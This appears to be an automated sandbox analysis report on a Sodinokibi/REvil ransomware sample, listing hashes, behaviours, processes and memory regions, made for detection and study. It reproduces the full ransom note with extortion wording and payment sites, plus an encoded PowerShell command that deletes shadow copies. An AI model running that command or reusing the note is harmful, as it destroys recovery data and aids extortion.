Analysis

  • max time kernel
    151s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 00:57

General

  • Target

    d63d1c46b1e83d54ad1d37bd0c8b62447060af35f53296c3059d75dc4d3fa15c.exe

  • Size

    164KB

  • MD5

    1f0e494c8ed568615a04c265879ccd8e

  • SHA1

    508eb9d543c3dd502989107029050ace012a59b9

  • SHA256

    d63d1c46b1e83d54ad1d37bd0c8b62447060af35f53296c3059d75dc4d3fa15c

  • SHA512

    696f44f8c31c0a4e6e1b4b7b22b95e51eca607731847d90cc258ed1d9502e8d3b94757d5f45df1759f02439694df9bb5c9c7f7de532afce2faca01ca18d1938e

Malware Config

Extracted

Path

C:\m6c2fa89g-wannadie.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension m6c2fa89g. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/23852F04A92AC653 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/23852F04A92AC653 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: z9FjMI4gugAyfoHncAglK0nXO6aRqzC+1nFS2JLw8jZRhQLX8lnTQ/ngRz9e0EaJ XL7ct/FMUSKP8CGwAcw2U1QVXyQW9xyb8TtdHjdcCuZ7fxSdNpx1p1tJ+sdefgkU lP6K9XhWLYVh1VhtdiKs6XqPwpVyEm1i2339OFJJ9aJb5qoCwRigCffFEW9hzBJr 5vtOiJC/UQdoQdBE5lrWK7dmlC3wc4afm6TyBulKtTLnu2LWHr5SsK19SaSFR29r 8A3JamszCOsy/Lg0Fm9W7ShEWjvweCIM1p7jRKxCPQ24InmNqM/sdWwaXsHGlAAa Y9yZ5Sd3O/zD8y4zv+ChrIAGa+PMcNLq6xWQuJsJVHCK0+z8jtXiYGThzyVk3Tx+ aCaaeCkahIYI7+qPyus/+K1sF3ztFKA+r2nmR6UjMEWpDS7b0cdF+e4Kn+A2l/pz fssv9BzQ5Ut2yw7JHUouGKx6RBe9La6HiG1ESWsb9wfM7+nE3duyaUiE6+sN2/6P +EUewOYPT+1+j8rxUUWGMTg7ZJoL7Hp3aWFMoesOVvdQ2dmmSy0zm9/PrHCWdBV9 SP/xBHWGsxjrClP9EaNhkGlCfofQ1WxEb8sxiB/VbaoMzEFojDgC0yDKgOk6SoYY zyrZMP//l5pyiLQtwOGwYTxa+E6cDxKOW++QuPtSHrA0JfqngSx91g9rXPb/Toko fOpd0Z5S8G3TiPhQMb91AxzvrbGFiCk5XtRPM89NBCo4pDMy68Iwu9vvSspr80a3 QaZemhpXMEsFZ0gP1DEgej3FLtnhig7kexTPEMrbpCJJMGldt826mADe68sC8JKW vt9ZZw2/u4GFmaaoZBccsObvP3paidOAdgti2aeT37CXgPiw8M71SIWea/aa2EAc Y2wy/rA+6qaVweyw31xt90lDBje9HKh6wgXHV25pqIaQbQTGkKLBljijprjhmWDa QSExhY19yogxWDaxOMbyzE08KrymjS9yNyx0JEZvCxoCkHxQxRiEKhLD1xTNLpQy UfMzl8hbluMT7PCEozUMqXHRbxsAzdFVRGRjaDSjGjAQkEd/RsXh1XdSqaOQmNlG f5awlD4RrENSoD4j8GkPQ0kyuq1PS+uEa4cDlYozj8r1siMmQWkDZL4ahirh9d+8 eaTlRyGlMJtR8w== Extension name: m6c2fa89g ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/23852F04A92AC653

http://decryptor.top/23852F04A92AC653

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Modifies extensions of user files 1 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 23 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d63d1c46b1e83d54ad1d37bd0c8b62447060af35f53296c3059d75dc4d3fa15c.exe
    "C:\Users\Admin\AppData\Local\Temp\d63d1c46b1e83d54ad1d37bd0c8b62447060af35f53296c3059d75dc4d3fa15c.exe"
    1⤵
    • Modifies extensions of user files
    • Adds Run key to start application
    • Enumerates connected drives
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1480
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:772
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1396
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1920

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/772-66-0x000007FEFC261000-0x000007FEFC263000-memory.dmp
      Filesize

      8KB

    • memory/772-72-0x000000000277B000-0x000000000279A000-memory.dmp
      Filesize

      124KB

    • memory/772-71-0x000000001B720000-0x000000001BA1F000-memory.dmp
      Filesize

      3.0MB

    • memory/772-70-0x0000000002774000-0x0000000002777000-memory.dmp
      Filesize

      12KB

    • memory/772-69-0x0000000002772000-0x0000000002774000-memory.dmp
      Filesize

      8KB

    • memory/772-68-0x0000000002770000-0x0000000002772000-memory.dmp
      Filesize

      8KB

    • memory/772-67-0x000007FEF34B0000-0x000007FEF400D000-memory.dmp
      Filesize

      11.4MB

    • memory/1480-61-0x0000000000130000-0x0000000000131000-memory.dmp
      Filesize

      4KB

    • memory/1480-64-0x0000000000140000-0x0000000000146000-memory.dmp
      Filesize

      24KB

    • memory/1480-65-0x0000000002610000-0x0000000002719000-memory.dmp
      Filesize

      1.0MB

    • memory/1480-63-0x0000000000170000-0x000000000018F000-memory.dmp
      Filesize

      124KB

    • memory/1480-62-0x0000000002290000-0x00000000023BD000-memory.dmp
      Filesize

      1.2MB

    • memory/1480-57-0x00000000021F0000-0x000000000228F000-memory.dmp
      Filesize

      636KB

    • memory/1480-55-0x00000000769D1000-0x00000000769D3000-memory.dmp
      Filesize

      8KB

    • memory/1480-60-0x00000000000A0000-0x00000000000A1000-memory.dmp
      Filesize

      4KB

    • memory/1480-59-0x0000000000090000-0x0000000000091000-memory.dmp
      Filesize

      4KB

    • memory/1480-58-0x0000000000080000-0x000000000008A000-memory.dmp
      Filesize

      40KB